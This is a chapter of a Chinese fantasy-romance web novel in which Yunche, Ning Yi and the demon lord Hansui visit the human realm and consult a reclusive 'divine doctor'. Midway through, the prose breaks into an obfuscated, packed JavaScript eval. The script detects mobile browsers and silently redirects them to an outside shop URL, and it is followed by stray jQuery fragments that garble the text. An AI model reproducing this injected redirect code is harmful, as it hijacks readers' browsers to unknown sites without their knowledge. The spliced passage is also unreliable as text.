14. 神医
作品:《区区战神,轻松拿捏》 究竟是什么样的过往,需要冰封整座镜泉山,刻满四面冰墙来铭记?
宁羿看着眼前深浅不一的刻痕,只觉得思绪都被牵动,飘飘忽忽地抽离了自身,悬在这记满遗憾的房间里。
“阿澈……”
这是记忆里第一次听到他这样唤她。
云澈微微仰头,听身边神情复杂的宁羿开口:“若寻回残魂,发现我在你记忆中罪大恶极呢?”
她还没来得及回答,便听屋外有人不屑一顾道:“做错了就去弥补,有什么好焦心的。”
两人双双回头,竟看见一个不应该出现在镜泉山的人斜斜倚在门边,同宁羿几乎一样的脸上露出很是不悦的表情。
云澈眼睛都瞪大了:“你这浑身浊气的小魔,如何能进我镜泉山结界?”
疯了疯了,她的结界难道当真出了什么问题?
“说得我很稀罕你这破雪山似的,和无名那里差不了多少。”此地清气太重,寒岁浑身不自在,急急去捉云澈的衣袖,“吾寻你有急事,快随吾回魔界。”
云澈的脑袋里缓缓浮现出一个问号:“我同你能有什么急事?”
她低头看了看自己身上尚穿着的魔族衣裳,恍然大悟:“不是都说了,欠你的赤玉我会还,你怎么还追到我家来了。”
债主噎了噎,他早就忘了什么赤玉不赤玉的了。
“别的事!”他急于离开,拽着她的袖子就要走。
“别的事也不行。”宁羿将她拉回来,还贴心地替她将寒岁的手拍走,“她同我有更重要的事。”
云澈赞同地点点头,顺势倚靠在宁羿身上。
寒岁张了张口,想到离开魔界时,阿扬特意追上来提醒他“有求于人,要放低姿态”,便把骂人的话憋了回去,看向宁羿:“你们去哪里?”
“对啊,我们去哪里?”云澈也看向他。
被两人盯住的宁羿沉默了,哪有什么更重要的事,他本就是为了堵寒岁的话随口说的。
“我知道了!”偏偏云澈当真惦记着他说过的那件事,“要带我去人界寻残魂对吧?”
寒岁转身就走,脚步急切:“区区人界,吾随你们同去。”
云澈追过去:“你跟着我们做什么,魔界不是要同天界打仗吗?”
“打什么?整个天界现在就没一个能打的。”寒岁哼了一声,“吾按兵不动,自有吾的打算。等你的事做完,就随吾去魔界。”
云澈走了好几步,回首还发现宁羿站在屋内没有动。
阴影笼罩下的他长身玉立,却形影单薄,像一尊易碎的瓷器,仿佛只要轻轻一碰,就会不复存在。
“阿羿?”她轻声唤他。
宁羿抬眸,良久才应了一声:“一定要去吗?”
云澈只当他还深受无名谷幻境的影响,生怕自己从前当真做过什么对不住她的事,便折返回去牵起他的手。
感觉还不够,她又给了他一个热情的拥抱。
好像还差点什么,她捧起他的脸,嘟着嘴就要亲上去。
一只冰凉的手突然横亘在两人之间,阻挡了两人的进程。
云澈:“?”
不知何时又回来的寒岁收回手,嫌弃地在宁羿衣服上擦了擦,不可思议道:“吾都等了半天,你们二人怎这样腻歪。”
“罢了。”宁羿被气笑了,“启程吧。”
这次轮到云澈走在后面,看到他耳朵根都红了,想不到他看着心思深重,却意外地很好哄。
青鸾鸟从她面前飞过,停在宁羿肩头,歪着小脑袋看着寒岁,似乎在奇怪为何两人会有同样的面容。
云澈也很快走了上来,抚摸着青鸾鸟的头:“小鸟,我又要离开几日,劳烦替我守好镜泉山。”
她环顾四周,内心感慨万千——或许再回来,她的魂魄已带着记忆归位,届时再看这冰封的镜泉山,不知会作何感想。
/
人界恰逢春天,繁花似锦,看得人眼花缭乱。
“寒岁呢?”云澈总算是说对了他的名字,可惜他本人并没有听到。
“他说闻到魔气,先走一步。”
云澈有些惊奇:“这偌大的人界有一丝魔气,也在魔尊的管辖范畴吗?”
“或许吧。”宁羿闻言微微挑眉,“你似乎对他很感兴趣。”
“没有的事。”她义正言辞地反驳,外加甜言蜜语,“我只对你一人感兴趣,我一见你就觉得十分亲切,仿佛从前就认识。”
她说完,亲眼见证宁羿又从脸一路红到了脖子,看来这招屡试不爽,有趣有趣。
前面是一座宁静平和的小小城池,并没有遭受战火。
“渝州。”云澈念着城墙上的城名,不太知道是什么地方,至少在幻境里她没见过此地。
她信誓旦旦地拍着胸口:“信我,在茶馆里最能打听到消息。”
虽然他们还不知道这种消息究竟要如何打听,总不能抓着一个人就问:“你可知哪里有我的残魂?”
想想就有些可怕,说不定会把人吓成残魂。
两人很快找到一家茶馆,这茶馆看着装潢简单,但意料之外地人满为患。
宁羿在门边扫视了一圈,有些遗憾:“没有空位了。”
“究竟什么茶这么好喝?”云澈看到茶客面前的空桌,更是一头雾水,“好像也无人饮茶。”
正疑惑间,里面不知发生了什么,原本围坐在桌前的人纷纷起身,争先恐后地往前面挤去。
“都让让,我先来的!”
“胡说,明明是我先来的,我都来三日了!”
“你才三日,我都来半月有余了!”
这下满屋都是空座,二人对视一眼,很有默契地坐下来扬了扬手:“小二,看茶。”
此话一出,茶馆里鸦雀无声。原本争执着究竟谁在前面的人也不吵了,众人齐刷刷惊讶地看向她。
她自然也不解地看向他们:“来茶馆喝茶是什么天大的新鲜事吗?”
“二位是外乡人吧?”一位热心的中年男子指了指外面的旗帜,“这里早不是茶馆了。”
云澈退至门口一看,旗帜上分明就写着一个大大的“茶”字。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991941|193753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>但她眯了眯眼,又仔细一看,那字上面隐隐约约划了一条斑驳的红线,旁边还写着一个呃……她并不愿意承认的“医”字。
这字本就复杂,下笔之人还写得横七竖八,糊成一团,她还以为是旗帜脏了。
云澈啧啧惊叹:“这字才是真的丑,不像写的,像画的。”
这话一说,茶馆里跟水进了油锅一样纷纷炸了。
“这话可不兴乱说啊!”
“就是,神医的墨宝岂是我们凡人能理解的。”
“快给神医赔礼道歉!”
初来乍到,云澈将“入乡随俗”贯彻到底:“原来是我孤陋寡闻了,不知这位神医擅治什么病?”
“就没有神医不能治的病!”百姓们七嘴八舌,“别说普通的头疼脑热了,听说上次有一位呕血而亡的,也被神医治活了!无论什么病,只需看一次神医,当日便能好。”
“如此厉害?”她这回倒是真的惊讶了,指着宁羿道,“我这夫君记忆有损,怕是伤及神魂,能不能治?”
宁羿轻咳了一声,很是“柔弱”地手抚胸口——在给云澈做夫君这条路上,他显然是越走越习惯了。
“这……没听过有这种病。”百姓们面面相觑,“何为神魂?”
云澈神秘兮兮地压低声音:“老道长说,我家夫君乃天界战神转世,故有神魂。神魂有损,普通医者治不了,唯有神医才能治。”
这番话着实有些玄乎,百姓们皆听得一愣一愣的。
这时,从医馆内部探出一个扎着双髻的小脑袋,脆生生地插话:“我好像听对街的说书先生说过,咱们的先帝也是天界的战神转世,完成任务就回了天上。”
百姓们大多也听过这些传说,纷纷点头。
小脑袋又缩回了帘子后面,没多久,一个小女孩掀开帘子走了出来。
“神医说,今日只见有缘人。”她闭着双眼,手指从左至右笔直地划过,最终悬指着云澈的位置,“请。”
“承让,承让。”云澈朝排队百姓们一拱手,挽住宁羿手臂,随小女孩进了帘子后面。
后屋几乎没有一点光线,被小女孩领着往里走了几步,云澈才渐渐适应了黑暗。
前面似乎有一张桌子,桌前坐着一人,但看不清面容,想必便是那位神医了。
“请坐。”小女孩搀扶着宁羿的另一只胳膊,让他坐在凳子上,随后毕恭毕敬地朝神医道,“有缘人到了。”
也不见那神医有什么动作,黑暗之中隐约有一丝光线闪烁。
云澈正要细看,宁羿的声音忽然传入她的脑中:“是线。”
悬丝诊脉?
神的脉,也能诊?
不多时,那线收了回去。小女孩躬身在神医身边停了一会,随后直起身子道:“魂魄有缺,郁伤五脏。老朽医不了前者,但能医后者。”
这番话说得很是诚恳,似乎没什么可反驳的。
云澈询问:“如何医?”
女孩又躬身听那神医嘱咐,随后接着开口:“老朽自有办法。相比于他,你的病症应该更重。”

